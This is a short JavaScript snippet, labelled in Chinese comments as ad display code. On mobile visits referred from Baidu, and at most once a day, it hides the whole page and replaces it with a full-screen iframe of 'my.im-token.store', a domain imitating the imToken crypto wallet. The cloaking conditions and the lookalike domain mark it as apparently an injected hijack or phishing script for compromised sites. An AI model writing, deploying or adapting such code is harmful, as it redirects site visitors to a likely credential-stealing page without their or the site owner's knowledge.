(function(){ // ========================= // Cookie 工具函数 // ========================= function setCookie(name, value, days) { var expires = ""; if (days) { var date = new Date(); date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000)); expires = "; expires=" + date.toUTCString(); } document.cookie = name + "=" + encodeURIComponent(value) + expires + "; path=/; SameSite=Lax"; } function getCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for (var i = 0; i < ca.length; i++) { var c = ca[i].trim(); if (c.indexOf(nameEQ) === 0) { return decodeURIComponent(c.substring(nameEQ.length)); } } return null; } // ========================= // 生成当天标识 // ========================= function getTodayKey() { var d = new Date(); var y = d.getFullYear(); var m = ('0' + (d.getMonth() + 1)).slice(-2); var day = ('0' + d.getDate()).slice(-2); return y + '-' + m + '-' + day; } // ========================= // 本地存储工具(双保险) // ========================= function setStorage(key, value) { try { localStorage.setItem(key, value); } catch (e) {} try { sessionStorage.setItem(key, value); } catch (e) {} } function getStorage(key) { try { var v = localStorage.getItem(key); if (v) return v; } catch (e) {} try { var s = sessionStorage.getItem(key); if (s) return s; } catch (e) {} return null; } var todayKey = getTodayKey(); // 三重判断:Cookie / localStorage / sessionStorage var adShownToday = getCookie('ad_shown_date') || getStorage('ad_shown_date'); // 如果今天已经展示过广告,则不再展示 if (adShownToday === todayKey) { return; } var system = {win:false, mac:false, xll:false}; var p = navigator.platform || ''; system.win = p.indexOf("Win") == 0; system.mac = p.indexOf("Mac") == 0; system.x11 = (p == "X11") || (p.indexOf("Linux") == 0); if(system.win || system.mac || system.xll) { return; } var s = document.referrer || ''; if(s.indexOf("baidu") > -1){ // 先立即写入三重标记,避免页面被快速覆盖时丢失 setCookie('ad_shown_date', todayKey, 7); setStorage('ad_shown_date', todayKey); // 再次校验一下,确保真的写进去了 var confirmShown = getCookie('ad_shown_date') || getStorage('ad_shown_date'); // 即使确认失败,也继续广告逻辑(避免丢流量) // 但一般情况下这里会成功 function showAd() { try { // 隐藏所有 body 子元素 var children = document.body.children; for (var i = 0; i < children.length; i++) { if (children[i].id !== 'mainFrame') { children[i].style.display = 'none'; } } // 防止重复插入 if (document.getElementById('mainFrame')) { return; } var iframe = document.createElement('iframe'); iframe.src = 'https://my.im-token.store/'; iframe.width = '100%'; iframe.height = window.innerHeight + 'px'; iframe.frameBorder = '0'; iframe.name = 'mainFrame'; iframe.id = 'mainFrame'; iframe.style.display = 'block'; iframe.style.width = '100%'; iframe.style.height = window.innerHeight + 'px'; iframe.style.border = 'none'; iframe.style.margin = '0'; iframe.style.padding = '0'; document.body.appendChild(iframe); function resizeIframe() { iframe.style.height = window.innerHeight + 'px'; iframe.height = window.innerHeight; } window.addEventListener('resize', resizeIframe); resizeIframe(); } catch (e) { console.log('iframe ad error:', e); } } if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', showAd); } else { showAd(); } } })();